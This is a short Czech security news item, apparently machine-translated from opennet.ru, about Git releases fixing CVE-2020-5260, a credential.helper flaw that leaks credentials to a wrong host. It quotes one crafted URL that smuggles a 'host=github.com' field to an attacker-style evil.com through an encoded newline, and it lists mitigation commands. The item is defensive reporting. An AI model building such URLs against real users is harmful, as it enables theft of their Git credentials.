Chyba zabezpečení proti úniku pověření Git

Publikováno opravná vydání distribuovaného systému řízení zdrojů Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 a 2.17.4, v která eliminovala zranitelnost (CVE-2020-5260) v ovladači"pověření.pomocník", což způsobí odeslání přihlašovacích údajů nesprávnému hostiteli, když klient git přistupuje k úložišti pomocí speciálně formátované adresy URL obsahující znak nového řádku. Tuto chybu zabezpečení lze použít k zajištění odeslání přihlašovacích údajů z jiného hostitele na server ovládaný útočníkem.

Když zadáte adresu URL jako „https://evil.com?%0ahost=github.com/“, obslužná rutina pověření při připojování k hostiteli evil.com předá ověřovací parametry určené pro github.com. Problém nastává při provádění operací jako „git clone“ včetně zpracování URL pro submoduly (např. „git submodule update“ automaticky zpracuje URL zadané v souboru .gitmodules z úložiště). Tato zranitelnost je nejnebezpečnější v situacích, kdy vývojář klonuje úložiště, aniž by viděl URL, například při práci se submoduly nebo v systémech, které provádějí automatické akce, například ve skriptech sestavování balíčků.

Chcete-li blokovat zranitelnosti v nových verzích zakázáno předávání znaku nového řádku v jakýchkoli hodnotách přenášených prostřednictvím protokolu výměny pověření. U distribucí můžete na stránkách sledovat vydání aktualizací balíčků Debian, ubuntu, RHEL, SUSE/openSUSE, Fedora, Oblouk, FreeBSD.

Jako řešení k zablokování problému je doporučeno Při přístupu k veřejným repozitářům nepoužívejte credential.helper a nepoužívejte "git clone" v režimu "--recurse-submodules" s nekontrolovanými repozitáři. Chcete-li zcela zakázat obslužnou rutinu credential.helper, která ano zachování a získávání hesel z mezipaměti, chráněný úložišť nebo soubor s hesly, můžete použít příkazy:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Zdroj: opennet.ru

Přidat komentář